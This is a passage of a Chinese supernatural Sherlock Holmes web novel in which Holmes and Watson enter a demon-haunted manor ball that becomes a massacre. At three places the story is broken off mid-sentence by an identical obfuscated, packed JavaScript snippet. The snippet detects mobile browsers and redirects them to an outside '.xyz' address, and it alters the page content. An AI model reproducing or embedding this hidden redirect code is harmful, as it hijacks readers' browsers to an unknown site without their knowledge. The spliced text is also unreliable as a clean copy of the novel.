从靠近风化破损池边的石像来看，仍旧能看得出这是出自大家的得意手笔，不过水池中心的天使大多缺头少尾，看起来是被附近的流浪汉硬是敲下拿去卖钱。 歇洛克绕着喷泉走了几圈。 他的目光从地上和池边扫过。 “有人刚来这里。” 另外两人一惊，连忙打起精神。 又往前走，来到门前的时候，果然一把长剑猛地从草丛里横向扫来。 这把剑极为锋利，经过之处高于人肩头的杂草只是轻轻一碰，就从中削断。 感觉这把剑如果继续向前，哪怕碰到的是人的头颅，也能像削开草茎一样直接分成两段。 但它来得如此安静又迅敏，手持这把长剑的像是一位训练有素的刺客，在手枪和火药横行的年代里，这人仍旧恪守古时战场战斗的准则，隐没自己的气息，随时给敌人致命一击。 眼看长剑横着斩向颈脖，但站在队伍最后的歇洛克依旧没有动。 果然，在剑锋即将触碰到他之前，就主动堪堪停在了还有几厘米的空中。 然后前方两人回头的瞬间，看见那把从草丛里刺出的长剑。 “歇洛克！你没事吧？！” “主啊，福尔摩斯先生，怎么回事？！” 歇洛克说道：“不过是一些测试的小把戏。” “不过很可惜，你们找错人了。” 他掌心的手杖猛然一挑，犹如劈棍从下往上狠狠地抽进草丛的深处。 明明四周杂草丛生，根本看不见人影，他却像早已清晰知晓来者藏身何处。 草丛中当即传来一声吃痛的闷哼。 更令持剑者心惊的是，那看起来平平无奇的手杖只用一击，就在他最起码能抗住二阶超凡生物攻击的盔甲上留下深深的痕迹。 但他的震惊还没能持续几秒，那只手杖就像长了眼睛一样，又猛地穿过草丛当头直接劈下。 这次的力道打在头盔上的瞬间，剧烈的震动就让他后脑勺一痛，当即倒下。 最后，留给这位持剑者的印象，似乎只见拿着手杖的人好像在从上往下地俯视他。 怎么会这样……他明明是二阶的使者……怎么会…… 可惜，思索未得出答案之前，他就昏迷过去。 18.18 “福尔摩斯先生，久闻大名。” 铿锵有力的脚步声压过随风飒飒作响的草动声，直至走到他们的面前。 另外有穿着全套银白铠甲的骑士，将倒在地上昏迷不醒的同伴先接走。 那位看起来很是引人注目身高，身姿显得魁梧有力的男人从小道两旁的草丛中走出来。 他的头发已经灰白了一半，看起来已经算得上是个半百的老人，但他健步如飞，背部挺得笔直，看起来犹如一把没有任何弯曲的利剑直直立在这里。 这位身材高大的男性沉声自我介绍道： “三位先生，我的名字是弗雷德里克·赫尔斯，受命前来调查这座庄园的古怪之处。” “出于一些特殊的要求，我们对这座庄园的每一位访客多加试探。” “刚才让三位受到惊吓，真是抱歉。” 可能只有两人受到了惊吓，但这位头发花白的男人还是一板一眼地，用古旧的腔调道歉，仿佛他不是一个习惯现代生活的人，反而更倾向在昏黄的傍晚，手持简陋的火把，腰佩锋利的长剑在高耸的城墙边巡逻护卫。 歇洛克看了眼他的西装，又看了眼西装裤下露出一截的铁靴。 那是适合长时间奔波的秘银铁靴。 这位看上去西装革履的先生，实际上和他身后那些整装待发的骑士们一样，都如从旧时代游荡而来的秘银幻影。 在手/枪火药等热武器逐渐占据主流的时代，他们清一色的盔甲和佩剑反而成了陌生的模样。 “所以赫尔斯先生……你的‘试探’就是指，刚才要将我的朋友杀死吗？！” 约翰又惊又怒。 歇洛克回头看向他，然后又看向弗雷德里克。 弗雷德里克说道： “我们只是负责将靠近此处的，那些不怀好意的人杀死。” “有传闻说，夜晚这处被废弃多年的庄园里会经常传来舞会的热闹动静，最近这传闻更是愈演愈烈，变成了所谓的舞会实际是恭请某位神明的仪式，参与仪式的人能够实现自己最想实现的欲望。” “说到这里，想必你们两位已经能想到是什么情况。” 约翰的心沉下去。 “是……魔鬼的诱惑？” 但先将这个猜想说出来的竟然是刚才就一直苍白着脸，像是因为被卷入突发事件而显得有些不知所措的艾伦。 弗雷德里克看向他，“想不到这位先生也是知情者之一，那么……接下来，大家不如敞开说话。” 弗雷德里克的性格很是古板正直，连带说话也不喜欢拐弯抹角。 穿着整齐秘银盔甲的骑士们在骑士长的身后站得笔直，仿佛随时可以朝敌人砍去的利器。 弗雷德里克说道： “不错，我们怀疑这里是魔鬼设下的陷阱，靠着甜美的空头支票，引/诱一个又一个无辜者在这里压上自己的灵魂进行一场没有胜算的豪赌。” “进入这座庄园的人很多，都是在傍晚五点半到六点之间，他们抬脚迈入大门的时候就直接消失不见。” “部分人在少则几日，多则几个月后重新回到自己家中，但这些人往往性格大变，并存在强烈的伤人倾向；甚至不过多久，这些人就堕落腐化成了恶魔。” “我们怀疑，那些失踪复而出现者的灵魂已经被魔鬼们压榨到不剩多少，剩余残存的这么一点本能，不过是为了骗过守卫，让他们重返人间而已。” “合理的推论。” “相信雷斯垂德那里应当专门关押了相关的犯人。” 歇洛克说道。 弗雷德里克顿了顿。 “早就听雷斯垂德说过您的本事，现在亲眼所见，果然名不虚传。” “恭维的话或许事后再说比较好。” 歇洛克看向约翰。 “我接下来要去一趟圣保罗监狱。” 那座关押着无数恶魔与超凡生物的纯白监狱。 没想到歇洛克也会和自己说一下他的行程安排。 约翰点头。 “看样子我是去不成了，上次我去的时候只看见了圣保罗教堂。” “不如我送威廉斯先生先回去。” 站在他们身旁的年轻人失魂落魄，不知是否是因为在短时间内接触了解如此之多的超凡信息，而被冲击到感觉茫然。 歇洛克没有反对。 他另外叮嘱艾伦一句。 “威廉斯先生，你与这件事的关系紧密，这几天切记不要与陌生人有过度交谈。” 双方兵分两路离开破败的金玫瑰庄园。 回到自己家中的艾伦感觉自己大脑依旧昏沉。 他觉得自己像是过度饮酒，坐在沙发上的时候，甚至怀疑自己从进入贝克街开始经历的一切会不会也只是一个稀奇古怪的梦境。 他又在想，该不会当初自己梦到的金玫瑰花园也不过是偶然的噩梦。 直到他的手接触到装着礼品的牛皮纸袋。 像是想起这件礼物即将所属的人，他面容的表情变得柔和了些，然后唤来女仆。 “有布朗小姐的来信吗？” “有的，先生，需要我为您拿来吗？” “另外先生，普尔先生有送来舞会的邀请函。” “一起拿来吧，另外把这件礼物收好，回头要给索菲亚……哦对了还有今天的报纸一起拿给我。” 女仆应声，接过东西后，将艾伦所需要的一切都拿来。 今天的头版新闻，毫无意外是福诺克公爵与亨伯侯爵，就矿山坍塌事件的争论后续。 不过当他翻阅其他几个不同出版社出版的报纸时，惊讶地看见次版被署名“约翰·华生”的作家写的文章占据。 文章里讲述了他与自己的好友歇洛克·福尔摩斯一起经历的种种离奇案件。 看到那些生动的文字，他的眼前浮现出不久前见到的福尔摩斯先生那张冷峻又叫人觉得不太好相处的面容。 不过，为什么他之前从来没有在意过华生先生还在报纸上发表过文章？！ 艾伦放下报纸，揉了揉自己的太阳穴，转头问女仆。 “艾玛，这位华生先生还发表过其他的文章吗？” 艾玛有些惊讶。 “先生，我还以为您对这些文章不感兴趣。” “实际上那位华生先生在几个月前，就在报纸上发表了第一篇文章叫《血字的研究》，一夜的时间，整个伦敦都知道了福尔摩斯先生的大名！” “那可真是一名天才绝伦的侦探！” 明明他每天都在看报纸，可为什么直到现在才发现？ 不……日常生活里，其实也有很多人讨论……？ 街角沙龙里闲谈的话题，酒馆里喧嚣的打赌，车站里吵嚷的讨论，似乎或多或少都有这两位的传闻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812465|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他以前不知为什么都下意识地忽略了。 “这两位……原来很出名吗？” “现在的确如此，先生。”艾玛说道：“不过很多人都想去找那位福尔摩斯先生，可惜都未能在贝克街找到他们的踪影。” “而且整个伦敦叫约翰·华生的可不在少数，到底哪位才是真正的华生，哪位又才是真正的福尔摩斯，或许还是个未解之谜。” “主啊，难道我看见的真的是……” 艾伦自己摇摇头。 “算了。” “艾玛，你说邻居普尔先生送来了舞会的请帖？” “是的，先生。” 一封请函被呈上。 艾伦拆开这封信，果然看见了邻居的邀请。 大意是，今晚六点他将举办一场隆重的舞会，舞会邀请了多位身份尊贵的人物一起参加，其中甚至还有许多人都想搭上关系的亨伯侯爵。 艾伦的手指轻轻敲了敲桌面。 他的确不擅长应对超凡事件，但不代表他没有其他处事的经验。 这次舞会是个不错的机会，如果能够在舞会里和其他上层人士见面并交谈一二，对他接下来的事业发展会有很大的帮助。 艾伦回头看了看自己这间略显空荡荡的客厅。 母亲似乎又早早睡下。 自打父亲离开人世后，她总是以泪洗面，家中的经济情况也不复之前那样富裕。 艾伦无声地叹了口气，当恐惧从他脸上褪去的时候，他看起来就比自己的年龄更加成熟。 “艾玛，帮我拿礼服，稍后回信给普尔先生，说我会准时参加舞会。” 青年将请函倒扣放在桌上。 他想，机不可失时不再来，他并不会多说什么，只要能与侯爵那些上流人士共处一室待上一会儿，他就有资本去拉拢资金，让自家的工厂再度开工。 可是扇风的前提是，火已经被点燃。 不久后当日光逐渐西沉，伦敦的雾气就像潮水一样汹涌淹没大街小巷的每一处。 趁着还有最后一缕日光，穿着礼服的艾伦·威廉斯拜访了邻居普尔举办的舞会。 两旁的道路亮着灯，但当他走在这条通往舞会的道路上时，感觉自己是置身于伸手不见五指的深渊之中。 他行走于平地，却像在不断地下坠、下坠、下坠，直到触底的瞬间将被摔得粉身碎骨。 艾伦不安地回过头，似乎下意识想要转身离开。 然而身后来时的道路也已经被浓雾遮掩，见不到正门与接送的车辆。 他有些不确定地想，这真的是他要来的目的地吗？ “艾伦·威廉斯先生，欢迎来到舞会。” 像是一直藏身浓雾中的侍者此时带着狂热的欢迎开口说道。 “贵宾都已入场，也欢迎您的加入。” “舞会上应有尽有，期望您也能获得自己想要的，再满载而归。” 这句话说得有些莫名其妙，可艾伦刚回头想要再追问两句，就感觉背后有股人类无法抗拒的引力猛地扯住他的后衣领，将他拽进舞会会场的大门。 雾气渐浓，道路两旁亮起诡异的青紫色光线，照亮正对门前的喷泉。 七位模样狰狞模糊的恶魔扒开了地表，像是带着滚滚的恶意，即将来到人间。 侍者在雾里低声说道：“欢迎来到金玫瑰庄园。” 19.19 “歇洛克，你是说艾伦去的地方并非我们之前去的金玫瑰庄园，而是位于另一个维度的金玫瑰庄园？” 约翰说着有些拗口的话，语气满是不可思议。 “说真的，我最初甚至以为那只是艾伦的一场噩梦！” “能够找到我们，委托这件事，本身就说明这不是单纯的噩梦。” “而且我相信你应当了解，或者听闻过，除了常人所在的现实维度世界，宇宙里还有被超凡力量扭曲或浸染的世界，那种地方就被称为其他维度世界。” “按照被扭曲或浸染的程度深浅，维度世界以负数标注显示，负指数越高，程度越高，对于人类而言也就越危险。” 歇洛克一边摆弄着手中的试管，一边说道。 在他们中间的桌上，一张来自雷斯垂德提供的报告静静躺在那里。 这份报告的数据来自歇洛克去白色监狱时“顺道”的推理和指点，以及雷斯垂德经过大量数据线索的整合。 “我的确是了解过一点。” “我还在战场上的时候，有一个地区……士兵们都将它称为‘死亡洼地’，就是说踏入其中的人都会神秘失踪，而教堂的医师们说，那是维度-8的禁区。” “-8代表现实的法则几乎完全失效。” “重力翻转，光线不再笔直，声音不通过声带震动传出，人在那样的世界里反而成了异物。” “对于人类而言，那的确就是禁区。” 歇洛克手中玻璃管里的溶液与另一种透明的溶液相互碰撞，下一秒竟然融合成一种极为美丽的祖母绿。 这种具有光泽的液体，仿佛流动的宝石，在室内的灯光下闪闪发光。 约翰的目光被那种美丽的光线吸引。 他盯着那抹灵动璀璨的绿色，继续说道： “不过我从来没有去过，毕竟太过危险。” “但按照歇洛克你的意思所言，是指维度不同的世界里，其实也有和我们生活的世界一模一样的地方吗？” “比如……指不定其他维度世界里也有一个伦敦？” 歇洛克晃动了一下手中的玻璃管。 “如果你这样觉得的话，说不定真的是这样。” “……” 迷离的绿色犹如缀满翡翠的帘幕落在他的眼前，约翰感觉自己沉入一片满是绿意的湖泊，下方是从水底生长的森林。 苍翠的树冠在水中努力向上伸展枝叶，他却像一颗苹果往更深处坠落。 嫉妒要在他的心底发芽。 他嫉妒着湖泊上空，享受着雨露阳光的植物，嫉妒飞过天空的白鸟，嫉妒任何一切黑暗之外的生灵。 他—— 到底在嫉妒什么？ 约翰猛地一惊，像是从噩梦里忽然惊醒。 然后他发现歇洛克以一种非常近的距离在看他。 他被吓了一跳，猛地倒退几步，险些直接摔坐在沙发上。 “歇洛克！” 他不由带上了点怒气。 歇洛克放下手中的试管，扯过一块不透光的黑布笼罩在那片绿色表面。 “我刚才叫了你十几声都没有反应，原本想利用一些特殊手段，将你从‘嫉妒’的吸引中唤醒，没想到你自己已经醒来。” “‘嫉妒’的吸引？” 约翰回想刚才见到的那抹祖母绿，现在却惊讶地发现自己怎么也无法回想起那抹特殊漂亮的光泽到底该如何形容。 仿佛那块黑布不仅从视觉上遮住了物体，也将记忆里的那样东西一并遮住。 “一些小小的实验成果。” “不过看样子公寓里还需要额外加一些仪阵，以保证这里的安全。” 约翰觉得这间房屋的每块砖头上，可能都被他画过仪阵了。 “所以按照这份报告的意思，如果我们想要找到艾伦口中那个年轻马夫小伙子，得去另一个维度的金玫瑰庄园。” “可我们要如何去哪里？” 约翰皱起眉。 “是个好问题！” 歇洛克像是一点也不担心这个问题。 他反手从看起来有些凌乱，但凌乱中还带着福尔摩斯特有式整齐的桌上抽出一张信封递过去。 “所以我伪造了一张邀请函，并请赫尔斯与雷斯垂德随时接应我们。” “邀请函？什么的邀请函？” “等等……伪造的？！” 约翰的眼睛越瞪越大。 这张信封里的确有邀请函，上面使用的措辞也是非常中规中矩的礼貌，少数与众不同的是，这张请函受邀者的姓名、舞会举办地点，与邀请人都是空白的。 “但这些你都没填！”约翰说道。 “所以现在就来填。”歇洛克用黑布裹着刚才的玻璃管，将里面的溶液倾倒在邀请函上。 那些具有特殊金属光泽的美丽液体，就像被纸张迅速吸收一样消失得一干二净。 随后纸上的字迹立马变得像被液体打湿一样模糊氤氲，最后重新扭曲组合成全新的字迹。 这还是一份邀请函，不过措辞、笔迹、以及受邀人、落款者的姓名都已经变成了另一个人的字迹和文笔。 如果不是约翰刚才亲眼目睹了全过程，他甚至以为，真的是有一封舞会邀请被寄到了贝克街221B。 “主啊……你简直像是魔法师一样！”约翰夸赞佩服。 “我可不会挥舞魔杖。”歇洛克说道。 他抖了抖全新的邀请函。 它干燥整洁，完全不像吸收了整整一瓶试管剂的样子。 一张是他的，一张是约翰的。 “看样子我得把礼服找出来。” 歇洛克说道。 “希望我之前的礼服还能穿得上……” 约翰拿着那张邀请函，表情有些苦恼。 “那款式不会太过时了吗？” “衣服不过用于衬托，真正叫人注目的，唯有人本身的灵魂而已。” 听到舍友这样说，约翰也就不再纠结这件事。 当太阳即将落山之际，两人穿戴整齐，仿佛真的是去赴宴的两位绅士一样出现在楼下的街道旁。 登上马车的时候，约翰问道：“我们这条街上的车夫真的能把我们送到目的地吗？” 都不在一个维度。 “哦先生！请您放心，我的马车可以跑遍伦敦每一处的大街小巷，绝对没有不到的地方！” 和任何一条街边都会出现的公共马车一样，车夫坐在前面信誓旦旦地保证。 “而且我保证服务更好，要价更低。”他笑道，“接受很多付款方式，只不过大部分人不会选择我的马车而已。” 歇洛克拉开车门，“我们相信您的车技。” 等他们坐好，车夫扬鞭，让马拉着车厢快速奔跑起来。 伦敦的道路并不都是平整的，可今天的马车跑得格外稳当，浓郁的雾气将四周的风景遮挡得严严实实，甚至叫约翰觉得自己是误入了某处云海。 但实际的状况是，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818187|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的确已经腾地飞起。 马蹄落地不过两下，就像童话故事里那样逐渐升空，随后血肉渐渐褪去，化作白骨之马拉动着车厢快速往本次旅行的目的地奔去。 车夫有些兴奋地吹起口哨。 他享受这样疾驰的快乐，几百年前他套马的时候也是这股疯劲，可惜现在人类社会很难再让他像当初那样毫无忌惮地做某些事。 更何况，他也是要学着人类那样吃饭的，平时在伦敦，鲜少有人主动注意到具有超凡力量的存在，他真的很难开张有收入。 今天难得有意外的顾客光临，他和马儿都工作得很卖力。 车夫思索着，他是不是也该在贝克街租个房比较好，现在这里已经成了炙手可热的房源，大家都说，不知从什么时候开始，在这里就能享受到人类社会的有趣，等等是不是要问车厢里两位乘客，那里是不是真像传闻中那么好。 不过车厢里的两位完全不知道车夫的想法。 约翰对坐在对面的歇洛克说道： “虽然我们能够进入庄园，但按照艾伦的经历来看，庄园里恐怕暗藏杀机。” “在与人类相关的世界里，超凡力量都需要通过一些媒介才能展现它们的威力。” “不可思议的力量究其根源，不过是某个仪阵或仪具。” 歇洛克指着自己的太阳穴。 “我带着我的武器来了。” “破坏那些仪具或是仪阵，就能解决那些好像无处可解的死局。” “那我的任务——” 约翰摸向自己的枪套。 “负责帮助你解决前来碍事的人。” “果断的决定，华生！” 马车停下。 约翰将钱递给他，车夫愉悦地扬起自己的帽子。 “需要我在这里等两位，再载着你们回去吗？” “那真是再好不过。”约翰说道。 “哦！您真是一个好人，先生！”车夫说道：“我和马车都在这里等着你们。” 前方的庄园暗藏在一片迷雾之中，四周的雾气浓得像是一层厚实的帷幕，完全不见路边的风景。 约翰感觉到陌生，连带呼吸都带上一种稍显缺氧的不适感。 他又想起自己如同苹果一样坠入某处湖底的迷离感，不由将手下意识放在后腰皮带的枪套上。 歇洛克目不斜视地看着前方灯火通明，显得金碧辉煌的庄园正门。 他压住了约翰的手。 “华生，现在可不是用它的时候。” 约翰稳住呼吸，知道不安反而让自己急躁起来。 他低声说道：“抱歉。” 然后挪开手。 两人走到正门前，守门的侍者疑惑地歪头打量着他们。 他的脸模糊不清，五官全无，仿佛只有一团雾气在面部蠕动着。 “两位先生……你们是今晚的客人？” 约翰绷住脸，努力不让自己发出任何异样的神情。 “当然，我们是受邀而来。” 歇洛克拿出那两张邀请函递过去。 侍者看见邀请函，仔仔细细，从头到尾检查了三遍，还是侧身让行。 “近来有一些扰人的白色苍蝇经常出现，所以我们检查得很严格。” “但两位受邀而来，请进。” “希望两位能享受舞会，祝两位都能得到自己想要的，今晚满载而归——” 庄园大门徐徐打开，七只魔鬼的雕像齐齐看向了他们二人。 20.20 今夜的金玫瑰花园像是重新回到最辉煌的时候。 煤油灯、烛灯错落铺开，将整个庄园点亮成白昼时分，也使这里成为迷雾中最耀眼的光源。 花圃中标志性的黄玫瑰在灯光的照耀下，摇晃着细碎的光点，好似昂贵的碎金铺满整个庄园的土地。 进入这里的客人大多衣着得体，少有几位略显落魄的客人神情忐忑地进入庄园中时，端着餐盘、递上酒杯的侍者仆人也从未露出过鄙夷或不耐烦的表情。 在热情的接待中，夜色与浓雾逐渐笼罩这片区域。 约翰将目光从庄园西南角的钟塔那里收回。 此时上面的钟表竟然还在以符合常识的方式，标志着时间正常流动。 现在的时间是，傍晚五点十五分。 他和歇洛克手持请函入内后遇到的一切都很正常，除了并没有看见舞会的主办人之外。 那张请函上似乎曾经显示过主办人的姓名，但它出现和消失的速度快到让他根本无法辨认。 又或许是他自己的大脑特意让自己遗忘，以防接受某种信息后导致不可挽回的灾难后果。 约翰选择不再深究那个名字到底是什么。 他左右看了看周围，喊住路过的一位下仆。 “你知道庄园的马夫在哪儿吗？” 正在打扫地面的下仆抬起头，用斯文的说话方式礼貌回答。 “庄园里有很多位马夫，先生，您要找的是哪位马夫？” 约翰想要说出的话像是卡壳一样停顿在那里。 半晌后，他说道：“你们这里的马夫都有叫什么名字的？有一个金色头发，蓝眼睛，性格活泼的年轻小伙子吗？” 负责扫地的仆人笑道： “先生，在金玫瑰花园里，有头有脸的人物才用姓名称呼，像我们这样的仆人，只以男仆、女仆、车夫、厨师、园丁等来称呼。” “至于外貌长相……在这里很难以这种方式去找到您真正想要找的人。” “我这样说的话，您能理解吗？” 这人说话的方式很拗口，但最核心的含义还是，他似乎没有办法用外貌长相帮他将艾伦要找的那位马夫找到。 “那么，今晚的舞会将于什么时候正式开始？” 约翰问。 “将于六点正式开始。” “先生，您现在就可以前往舞厅做准备，女伴并不只局限于来宾中的女客，您若是觉得仆人中有合适的也能一并带上。” 像是为了防止他可能会因为从仆人中择出舞伴不够优雅，仆人又加上一句。 “在这座庄园里，选择更多的仆人侍奉反而是一种荣耀，其他客人只会更加嫉妒憧憬您。” 他微笑着，像是要毛遂自荐一般往前走了一步。 “今晚的舞会并不像如今那样古板，两位先生要是缺少舞伴的话，我觉得自己也能够为您解忧。” 约翰赶忙往后倒退一步。 “抱歉，我暂时不需要。” 然后他像落荒而逃一样，拉着歇洛克就赶紧离开。 两人走到栽满黄玫瑰的花园另一边，这时约翰才感觉自己像是勉强松了口气。 “说真的，歇洛克，我觉得这里很不对劲。” “不仅仅是这里本身，这里的人也很不对劲。”侦探扫视周围一圈，说道：“刚才的男仆明显不是做仆人的。” 约翰：“我感觉他更像是一个怪人！” “别被表面的冲击，遮蔽你观察真相的眼睛。” 歇洛克说道： “刚才那个男仆之前是一名家庭教师。” “说话的习惯，手指上的老茧，以及非常板正的咬字腔调音节，都说明他擅长，且一直擅长教导学生。” “但这样说话斯文优雅的人，在这座庄园里只做一个花园里的清扫男仆。” “而且约翰，你在来时的路上听到几个名字了吗？” 约翰点头。 “听闻还有侯爵，甚至公爵在此。” 他犹豫了一下，甚至怀疑是自己听错。 “宾客和仆人们说，今晚最炙手可热的人是亚历山大·福诺克，那位已经失踪二十多年的福诺克公爵独子。” “我以为他早已死亡，没想到竟然在这里。” “是不是真的亚历山大·福诺克，此时还不是定数……不过，很快就有机会一探究竟。” 庄园钟塔的时钟即将来到六点，所有的宾客都自觉往舞厅的方向聚拢；端着各式餐盘的下仆们同样脚步匆匆，尽可能往同样的方向赶去。 遍布庄园的仆人们面带微笑地提醒每一位宾客前往舞厅，如果遇上不打算配合的，甚至会用上一些特殊的强制手段，这强硬的态度丝毫不见之前的体贴，反而更像是不打算给他们再离开的机会。 舞厅内部的装饰同样奢华豪贵，现实中早已破败不堪的庄园，没想到能以这样的方式重新见到它的辉煌。 贴满金箔的墙壁上连镶嵌的烛台都是出自大师手笔，连带用作装饰的各样物件上也布满价值不菲的珍珠和宝石。 约翰神情复杂地盯着那些价值千金的物件，然后对歇洛克说道： “我算是知道，为什么当时的报纸上会说，‘在伦敦应聘什么工作，都不如去金玫瑰庄园应聘一份扫地的工作，仔细看看，你也许会发现，黄玫瑰的花丛下埋的全是金子’。” 事实上现场似乎已经有一模样窘迫的宾客，悄悄将那些镶嵌着红蓝宝石的刀叉塞进自己的衣袋里。 约翰皱了皱眉。 不过还没来得及多说两句，舞厅东北角如衣裙徐徐展开的台阶上传来敲击实木扶手的声音。 穿着奢华服饰的老人，在众多宾客仆人带着狂热探究的视线里缓步走下楼来。 现场原本显得很是热闹喧嚣的讨论声立马消失不见，唯有沉重的呼吸敲响不安的警钟。 老人眼皮直跳，他的脚简直像黏在地毯上不愿意挪步下楼，可这个流程不容推拒，他不得不来到这里。 他年纪已大，按理说应当躺在床上，或是坐在轮椅上。 可这里一位尊老的人似乎都不存在，任凭他慢步走到略比舞厅平地高上几阶的楼梯平台上。 老人穿着黑色的礼服，颈脖前的丝绸扎成领结，佩以口叼玫瑰图案旗帜的雄狮为图案的宝石领夹。 约翰认出了那个图案。 他的肩膀挨着歇洛克的，将声音压得很低。 “歇洛克！那是福诺克家族的纹章？！” “没错。” “但福诺克家族应当没有如此年纪的老者，报纸上之前不是说，公爵父母都已战死，而公爵本人如今五十多岁。” “这位老人看上去已经有七八十岁了！” 就在这时，老人在众目注视之下开口说话。 他的声音带着将行就木的嘶哑和不甘，听起来像一把即将坏掉的小提琴硬是要上演一场独奏的夜曲。 “我是亚历山大·福诺克，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823684|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是今晚舞会的主持者。” 这下约翰的肩膀完全撞上了歇洛克的。 他压低的声线里满是不可置信的震惊。 “亚历山大·福诺克失踪的时候才二十出头！” “难道是，在这里的人老去的速度更快吗？！” “来找我们的艾伦·威廉斯可没有这个情况。” “他更像一个资深的使者。” 歇洛克低声说道。 “我甚至没有嗅到月光花合群星草的味道。” “因为这里满屋子都是，人的嗅觉在高浓度的某种气息中时间过长，会下意识地自我忽略这种气味。”歇洛克翻过自己的手腕，内侧一道红线相当刺眼，“浓度达到18.1以上，说明这里最起码站着超过三十名刚使用过，或正在使用仪具或仪阵的超凡能力者。” 约翰的脸色难看，“我们是掉进恶魔们聚会的巢穴吗？” “说不定真是这样，华生，准备好你的左轮。” 华生凝神。 楼梯上的老者还在絮絮叨叨说着看似契合主题，实则漫无边际的冗长发言。 下面的人群似乎隐隐有了些不满。 但自称是亚历山大·福诺克的老者依旧耷拉着眼皮，假装听不见下方越来越急躁，越来越嫉妒的声讨。 直到一名子爵打扮的青年越出人群，高声质问： “为何说好的舞会还不开始！” “我们等在这里，可不是听你这糟老头说废话的！” “我要的是‘亚历山大·福诺克’这个名字！” 四周赞同的声音犹如沸腾的潮水，一波接一波往楼梯上方涌去，但谁也没有跨过上下的阶梯，只是在下方失去优雅的风度，举起手臂，赤红着眼，语气里装满嫉妒地喊着。 约翰下意识和自己最熟悉的人靠得更近一些。 “这真的还是舞会吗？” “明显只是借着舞会的名义，准备做一些危险的事情。” “而更危险的事情，是现场还有一位熟人。” 歇洛克语气沉稳，示意约翰看向左前方。 “艾伦·威廉斯？！” 约翰脱口而出，认出那正是之前拜访他们，并委托他们前来找人的青年。 歇洛克说道：“看样子，稍后我们兵分两路效率更高。” 此刻艾伦脸色苍白，动作有些慌乱，但与狂热往前涌去，想要质询台阶上老人的人群不同，他在以一种尽可能不引起注意的方式，不断后退，像是想要转身往门口走去。 可惜他刚来到门前，就被面带狂热笑容的仆人拦住。 “这位先生，舞会才刚要开始，现在还不是离场的时候。” 艾伦试图努力维系着自己的镇定。 “我感觉里面太闷热，出去吹风一下，难道都不可以吗！” 他的语气和措辞都如此严厉，若是正常的仆人早已低下头让路，可眼前这位仆人笑容不变，坚持自己刚才的说法。 “您如果身体不适，可以坐在一旁的椅子上休息，再过不久您就可以出门了。” 艾伦背后冷汗渐起。 一旁的落地玻璃窗外出现了一位金发蓝眼青年的身影，他往前走了几步，像是忽然看见什么又回头。 他轻轻敲了敲玻璃窗。 艾伦的视线移过去，脸上的惊喜还没来得及停留下来，就听见背后老人用嘶哑的声线说道： “看样子大家已经迫不及待舞会的开始，那么……” 21.21 “低头！” 艾伦感觉自己的头被人猛地按了下去。 一道凛冽锋利的风从他后脑勺擦过，轻松就削掉大半截头发。 但艾伦此刻心疼的完全不是头发。 他知道自己要是没有身后的人提醒，恐怕刚才从半空掉下来的就是自己一整个头颅。 随后有什么球体咚的一声砸在他面前舞厅的门上。 艾伦下意识看过去的时候，顿时感觉手脚冰凉。 一颗人头顺着门板滚落到他的脚边，嘴里还叼着不知是哪位宾客的胳膊。 淋漓的红色像是成熟浆果炸裂开的粘稠汁液，一半是芬芳，一半是恶臭。 艾伦听到自己牙齿上下发颤撞击在一起的声音。 他拼命催促着自己快打开庄园的大门逃跑，可双腿双手都软得像是被泡烂的面包，怎么也无法自如地听从指挥。 他原本只是想找到之前帮助自己的马夫，可没想到再遇见对方的时候，竟然是在这种炼狱之中。 舞会在宣布开始的瞬间，似乎是宣告狂欢杀戮的开始。 这座金碧辉煌的建筑在这个时候被锁死，成了一座适合自相残杀的屠宰场。 五颜六色的礼服，与花容月貌的外表不是这次宴会的主题，鲜血、死亡、与层出不穷的杀人手段才是今晚的重头好戏。 “估计是抢不到‘亚历山大·福诺克’的名字了。” 站在门边的一位侍者遗憾地说道。 “你还想要那么好的人生？” “我为了能进这舞厅，已经把自己原先的名字和一只眼睛都抵给了魔鬼……眼前这个人类看起来已经很不错，我就要他的名字了！” 另一位侍者则逐渐露出狰狞的表情。 他的神情不再像之前那样热情和善，像是褪去皮囊的恶魔，对着人类新鲜的灵魂垂涎欲滴。 他的皮肤犹如融化的蜡油从骨架上层层滴落，露出一只黑漆漆的眼眶，一条蛇像是寄生其中，时有殷红恐怖的蛇信从中吐出。 侍者用残存的另一只眼睛嫉妒地紧盯着艾伦。 “这是我的猎物，你要就选另一个！” 艾伦还没来得及多去思索其中的含义，下一秒就已经看见那几乎只剩皑皑白骨的手臂就掐紧了他的喉咙。 自救的本能让他迅速要进行反击，恐惧却要压着他的头，想让他躺在砧板上当任人宰割的鱼肉。 